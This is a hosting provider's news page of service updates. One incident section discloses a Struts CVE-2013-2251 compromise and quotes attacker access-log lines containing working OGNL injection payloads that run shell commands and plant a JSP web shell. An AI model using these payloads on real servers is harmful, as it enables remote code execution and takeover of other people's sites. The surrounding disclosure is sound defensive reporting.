|
|
|
||||
for latest updates!The following new features have been added this month:
We now have a new feature in SiteWinder which allows you to stream/tail any log or txt file directly in your browser.
The option is called "Tail" and appears next to all .log and .txt files.
Previously, you could watch changes to a log file by viewing it online, then selecting Reload and scrolling down further.
The new feature uses WebSockets 1.0 to stream live changes directly to your browser, allowing you to instantly see the log messages generated by your application.
Features:
We hope you find the new feature useful while debugging your live production applications!
We are now using Java 7u45 and Tomcat 7.0.47.
Tomcat 7.0.47 contains a backport from Tomcat 8 with support for JSR 356 (WebSocket 1.0).
The legacy Tomcat 7 Catalina WebSockets classes have been deprecated, but it looks like they'll be left as part of Tomcat 7 and still receive security/bug fixes.
We will be releasing our new Live Logs feature using the new WebSocket 1.0 specification in the next few days.
We now have one IPv6 capable DNS server, mail server and web server.
This is just a start, but it's good to have been able to experiment with the new addressing format and see how it affects security and performance considerations.
We will have more IPv6 support further down the track.
Our DNS editor now supports NS record editing.
Previously the NS records were entirely automated as we believed them unnecessary and just more confusion when changing DNS entries.
However, as one customer requirement has pointed out, NS record editing allows for some useful extra functionality such as:
Tomcat 8 is now at Release-Candidate-3 status which means it's just about to be released!
Notable new features are as follows:
Java 8 is also due to be released soon but has been delayed at Oracle. We have build 109 available currently and will update it with new releases as they come out.
Notable features of Java 8 include:
We can easily switch your JVM over to JDK8 with a simple configuration change. Please contact us if you want to access the new feature set.
We always recommend you run on the latest versions of all software. This is important for security, performance and feature availability. If you allow your application to gradually slip back in time, then you may find yourself in some of the unfortunate situations which some customers are currently experiencing. For example: a terrifying update of a live business system from Tomcat 3 / JDK 1.4 because of a security audit (by the way - Tomcat 3 was released in 1999!). If your system runs on Tomcat 5 it will most likely run on Tomcat 7 / JDK 7 without changes and also Tomcat 8 / JDK 8, but it depends on how it was written and how much of the specific version's features were used.
As always - if you need a hand, drop us an email.
Recently we noticed that two of our customer's accounts were violated by hackers.
This was due to them using a vulnerable version of Apache Struts, as described in CVE-2013-2251 (Struts 2.0.0-2.3.15).
From preliminary investigations and subsequent discussions with the affected customers, it seems that no financial or otherwise critical information was stolen.
This article details the attack details and how the attack was executed. It should be of interest to any website owner, software developer or security professional.
111.222.333.444 - - [10/Sep/2013:23:13:29 +1000] "GET /register.action?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28
new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputSt
reamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char%5B50000%5D,%23d.read%28%23e%29,%23matt%3d
%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23
matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:13:30 +1000] "GET /register.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwo
rk2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatc
her.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.
0" 200 31
111.222.333.444 - - [10/Sep/2013:23:13:34 +1000] "GET /register.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%
20java.lang.String%5B%5D%20%7B'uname','-a'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20
(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com
.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt
.getWriter().close()%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:15:21 +1000] "POST /register.action?redirect:$%7B%23req%3D%23context.get(%27com.opensymphon
y.xwork2.dispatcher.HttpServletRequest%27),%23a%3D%23req.getSession(),%23b%3D%23a.getServletContext(),%23c%3d%23b.getRealPath(
%22/%22),%23fos%3dnew%20java.io.FileOutputStream(%23req.getParameter(%22p%22)),%23fos.write(%23req.getParameter(%22t%22).repla
ceAll(%22k8team%22,%20%22%3C%22).replaceAll(%22k8team%22,%20%22%3E%22).getBytes()),%23fos.close(),%23matt%3D%23context.get(%27
com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%22OK..%22),%23matt.getWriter().flush()
,%23matt.getWriter().close()%7D&t=%3C%25if%28request.getParameter%28%22f%22%29%21%3Dnull%29%28new%20java.io.FileOutputStream%2
8application.getRealPath%28%22/%22%29%2Brequest.getParameter%28%22f%22%29%29%29.write%28request.getParameter%28%22t%22%29.getB
ytes%28%29%29%3B%25%3E&p=%2FPATH_TO_CUSTOMER_FOLDER%2PATH_TO_CUSTOMER_FOLDEROMER_NAMEf%2Fwebapps%2FROOT%2Fone8.jsp HTTP/1.0" 200 6
111.222.333.444 - - [10/Sep/2013:23:15:34 +1000] "GET /register.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%
20java.lang.String%5B%5D%20%7B'ls','-l','/PATH_TO_CUSTOMER_FOLDER/CUSTOMER_NAME/webapps/ROOT/'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%2
0java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23
matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23mat
t.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 50002
111.222.333.444 - - [10/Sep/2013:23:15:46 +1000] "GET /one8.jsp HTTP/1.1" 200 -
111.222.333.444 - - [10/Sep/2013:23:15:46 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:15:57 +1000] "POST /one8.jsp HTTP/1.1" 200 -
111.222.333.444 - - [10/Sep/2013:23:15:57 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:04 +1000] "GET /test.jsp HTTP/1.1" 200 13999
111.222.333.444 - - [10/Sep/2013:23:16:04 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:19 +1000] "POST /test.jsp HTTP/1.1" 200 15307
111.222.333.444 - - [10/Sep/2013:23:16:23 +1000] "GET /favicon.ico HTTP/1.1" 404 973
111.222.333.444 - - [10/Sep/2013:23:16:41 +1000] "POST /test.jsp HTTP/1.1" 200 7105
These bugs affect Struts 2.0.0-2.3.15.1
If you use Struts 2, it is critical that you update to at least version 2.3.15.2 - the attacks are automated and Struts allows remote Java exection via a URL.
The following upgrades are now available at Metawerx.
These upgrades are automatic for managed-service customers.
Single Points of Failure (SPOF) aren't always obvious. Today we noticed during a failover test that the configuration of our MySQL services on our secondary server differed slightly from the configuration on our primary. The differences were small, but they shouldn't exist unless there are plausible reasons.
In this case, our primary was originally set up with 32GB of RAM but the secondary only had 16GB. We began to keep separate configurations, tuned to the available memory on each server. Gradually through human error, slight differences began to appear which were not just related to RAM allocation (buffers). For example, a performance setting was present on only one of the servers.
The differences were small, but this identifies a dangerous situation in any IT company which relies on primary and secondary servers acting in the same way.
We corrected this today by merging the various /etc/mysql/my.cnf MySQL config files and placing them directly on the DRBD share between the servers. This has provided assurance that during a failover the secondary will act identically to the primary. Tonight we tested failover and failback and everything went very smoothly. More importantly, the problem cannot happen again.
When automation is introduced into a system like this, small differences are even more easily forgotten. You are using Puppet, you are using Nagios, all the green lights are very comforting - and misleading. Are you monitoring your config replication? Is that really working as you expect? This is the kind of thing that gets ignored.
The real effort is keeping everything easily maintainable and well documented. That makes for easier monitoring and systems that are easily replicatable.
I say "effort" because it takes time to employ strategies such as this as a rule and employ them during the day-to-day grind, without sacrificing time which can be spent on immediate client-pleasing and boss-pleasing.
Something that takes a little extra time when we are not getting paid is often something that pays off in the end through a reduction of the fires we need to put out when the 1% happens.
Spending the extra time after the client is happy, to make sure things go well when you are not available - whether they take it for granted or not - is something we need to pay attention to above and beyond the minimum of what we are expected to do, because when it comes to the crunch ($$$$ hits fan), it turns out that this is actually what everyone *expected* us to do. End-clients don't understand all the subtleties, but they pay us to understand them. Our responsibility to our customers and end-users extends beyond what they want, to what they really need, to prepare for the worst. Of course that's a very touchy area where some devs and sysadmins go too far and end up completely missing the real business expections and blowing the budget ;-) A subject for another time.
Anyway, if you are doing everything by yourself and not relying on a professional server hosting company such as Metawerx, hopefully this article will be something you can learn from and use when working on your own network.
Our new DNS Editor is now live - click Edit DNS in Domain Admin to access the new features.
If you need any help with anything at all, please don't hesitate to contact support.
To further protect your email account against automated attacks and password theft, we have created a feature today which allows you to restrict POP3 logins to a set of specific countries.
For example, if you live in Australia, but sometimes visit China and Peru, you can now restrict POP3 mail access to those countries.
This product includes GeoLite data created by MaxMind, available from http://www.maxmind.com. Using GeoLite, we maintain an up-to-date listing of IP ranges in use by each country. The mail server performs a binary-sort to find the correct range and this is compared against the list of countries you have selected to allow access to.
The new Geo-based system complements our existing anti-brute force system, which blocks IP addresses when certain patterns are detected. The additional layer of geo-security can protect your account from POP3 access where someone in a country you have not authorized has stolen your password (eg: via a keylogger). It also limits the capabilities of distributed brute-forcing attacks. Distributed brute-forcing is a technique employed by some bot-nets which attempt logins from a network of 1000's of IP addresses - making it ineffective to block access via single IP addresses.
To set your countries, please go to Mail Administration in SiteWinder and select Mail Server Settings at the top of the page.
We are happy to announce the official addition of CouchDB 1.2.1 to our database selection.
Apache CouchDB™ is a database that uses JSON for documents, JavaScript for MapReduce queries, and regular HTTP for an API.
It supports multi-master replication, so for example it can replicate between servers, between datacenters, to your office, or to a smartphone. This leads to some very interesting possibilities such as clients being able to work offline, then sync up again when they next connect.
CouchDB also provides a built-in web interface admin system called Futon.
This month we have completed a number of security reviews and identified internal Metawerx systems which could benefit from a year 2013+ security model.
Part of doing business on the internet for over 15 years means most companies have a number of systems which may have
been deemed secure a decade ago, but which are now severely lacking the protection of standard modern-day policies and
protocols. We urge you to complete similar reviews with your own systems. If you have any questions about our new
systems, implementations or security policies, or need any guidance or consultancy in this area, please don't hesitate
to contact us.
We are happy to announce the official addition of MongoDB 2.2.3 to our database selection.
MongoDB stores structured data as JSON-like documents with dynamic schemas, making the integration of data in certain types of applications easier and faster and allowing direct JavaScript scripting on the database objects.
We have completed implementation today of our new Single Sign-on System for our control panel(s).
The implementation was quite a challenge as we have a number of separate systems which are distributed over separate servers, subdomains and sometimes data centers.
We have used a method based on OpenID, using enforced TLS1.2 and 256-bit ciphers for all inter-server communications. A central authorisation cluster is used to cross-authenticate external systems and a token is provided to other systems over SSL, providing automatic authentication during the life of the master session.
The end result - there is no longer any need to select your server group when logging into SiteWinder, increased control panel security and simplicity.
There is still some cleanup of the old system remaining, but we plan to have this completed over the next week.
As usual, if you notice any problems or have any questions, please don't hesitate to contact us.
Oracle has released new versions of Java today well ahead of their planned Critical Path Update which was due Feb 19.
This latest version address 50 separate security issues which are mostly browser issues (as usual!)
If you use Java on the browser, at least one of these attacks is already in use in the wild, so update ASAP.
Five of the bugs are also of interest on the server-side, notably CVE-2013-0440 and CVE-2013-0443, which are marked as unspecified JSSE (TLS/SSL) security bugfixes.
The remaining 3 server-side issues rely on the application using 2D or AWT libraries on the server and may allow execution of
arbitrary code or operating system takeover. We use AppArmor at Metawerx to limit the capability of such
attacks, which allows us to specify which files can be accessed and which operations can be performed at a higher level.
For more information on the latest update, see the Oracle Security Advisory
The Metawerx website is now running on 7.0.35 with Java 7u13!
Ever had your live JVM go to 100% CPU on one or more cores and knock your application offline?
It's often difficult to find the cause of the problem, and the usual solution is to restart the JVM as soon as possible. Hopefully you generated a stack trace before restarting, and now have a list of active threads that you can go through to try and find out what was running at the time.
Since around 2002, the Metawerx monitoring system (ERAI) has been able to detect abnormally high CPU in a given Java VM and has automatically restarted the JVM causing the issue. This system is based on a series of thresholds to avoid false-positives and identify the main problems (such as infinite loops). The technology allows us to protect against a single JVM consuming all the compute resources of a node and affecting the performance of the JVM itself, or other JVMs running on the same server.
If your JVM is restarted due to our high-CPU detection system, you will receive an email showing the current CPU level, number of times over in a row, the threshold and a description of why the JVM is being restarted.
Today we have added additional features to this system which attempt to identify the specific thread in your JVM which is consuming excessive CPU.
The stack trace of the thread is now reported to the user by email along with the High-CPU notification.
In addition, if the infinite loop is found in a JSP file, the source lines of the compiled JSP are also identified, as well as a summary of system calls from the Java process.
The email therefore contains 4 sections:
ALERT: Process usage has passed CPU threshold of 88% for 6 or more tests in a row and will be restarted.
Service Name: Tomcat 1072 (neale2012) Service
Process CPU Usage: 96% (100% = 1x3Ghz core @ 100%)
CPU High Level: 88%
CPU High Threshold: 6 times in a row
Times high in a row: 7
Total high since ERAI startup: 7
Condition: High CPU over an extended period
- If this level of CPU usage is expected for your application,
please contact support and ask for the thresholds to be changed.
Metawerx Analysis
==================
- This report shows information about the thread with the current highest CPU usage, if it is available.
- Please note that in some cases this may not be the thread that caused the high CPU alert.
- Where possible, the currently executing lines of Java will also be displayed.
Thread 7851: (state = BLOCKED)
- org.apache.jsp.cpu_jsp._jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=96, line=72 (Compiled frame)
- org.apache.jasper.runtime.HttpJspBase.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=3, line=70 (Interpreted frame)
- javax.servlet.http.HttpServlet.service(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=30, line=728 (Interpreted frame)
- org.apache.jasper.servlet.JspServletWrapper.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean) @bci=440, line=432 (Interpreted frame)
- org.apache.jasper.servlet.JspServlet.serviceJspFile(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, boolean) @bci=112, line=390 (Interpreted frame)
- org.apache.jasper.servlet.JspServlet.service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) @bci=345, line=334 (Interpreted frame)
- javax.servlet.http.HttpServlet.service(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=30, line=728 (Interpreted frame)
- org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=446, line=305 (Interpreted frame)
- org.apache.catalina.core.ApplicationFilterChain.doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) @bci=101, line=210 (Interpreted frame)
...
The full source for [cpu.jsp] is at [/org/apache/jsp/cpu_jsp.java]
Line [69] in method [_jspService] was executing at the time of the thread dump.
Source code lines [67-71]:
67: double i = 0.1;
68: int count = 0;
69: while(count < 20) {
70: i = i * 12315.12512;
71: }
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
85.80 0.688601 162 4260 213 futex
12.96 0.104006 52003 2 2 restart_syscall
1.24 0.009956 8 1323 sched_yield
0.00 0.000000 0 159 mprotect
------ ----------- ----------- --------- --------- ----------------
100.00 0.802563 5744 215 total
We hope you find this new addition useful for fast debugging!
An important buffer-overrun security vulnerability has been discovered in MySQL for Linux which allows remote authenticated users to modify data, crash MySQL, execute arbitrary code and potentially take control of the entire server.
This vulnerability exists in:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5611
Metawerx is already running MySQL 5.5.29 so is not vulnerable. We also protect each instance using AppArmor which limits the files, devices and system processes accessible by a given binary.
It is important to note that in most Linux distros, including Ubuntu, 5.1.66 is the most up-to-date release. Any company that does not
compile their own versions of MySQL as they are released are vulnerable to this issue. This is especially important for any
hosting companies which provide remote access to multiple users or free/demo accounts.
Tomcat 7.0.35 has been released today and contains the following key changes:
.
